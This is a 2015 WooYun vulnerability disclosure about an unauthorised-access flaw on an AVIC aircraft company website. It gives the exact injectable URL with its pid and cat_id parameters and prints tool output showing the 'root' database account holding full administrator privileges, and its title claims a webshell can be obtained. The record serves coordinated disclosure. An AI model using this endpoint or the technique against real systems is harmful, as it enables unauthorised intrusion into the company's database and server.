中航飞机股份有限公司某处未授权访问（可getsell) | wooyun-2015-0121389

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2015-0121389

漏洞标题：

中航飞机股份有限公司某处未授权访问（可getsell)

漏洞详情

披露状态：

2015-06-18：细节已通知厂商并且等待厂商处理中
2015-06-19：厂商已经确认，细节仅向厂商公开
2015-06-29：细节向核心白帽子及相关领域专家公开
2015-07-09：细节向普通白帽子公开
2015-07-19：细节向实习白帽子公开
2015-08-03：细节向公众公开

简要描述：

听说是500强。排名也不错，我还是很看重这家公司！

详细说明：

注入点：http://www.aircraft_co.avic.com/productconent.php?id=221&pid=28&cat_id=49
pid,cat_id参数绕过。。

跑一下,管理员权限好多。

database management system users privileges:
[*] 'root'@'localhost' (administrator) [25]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: UPDATE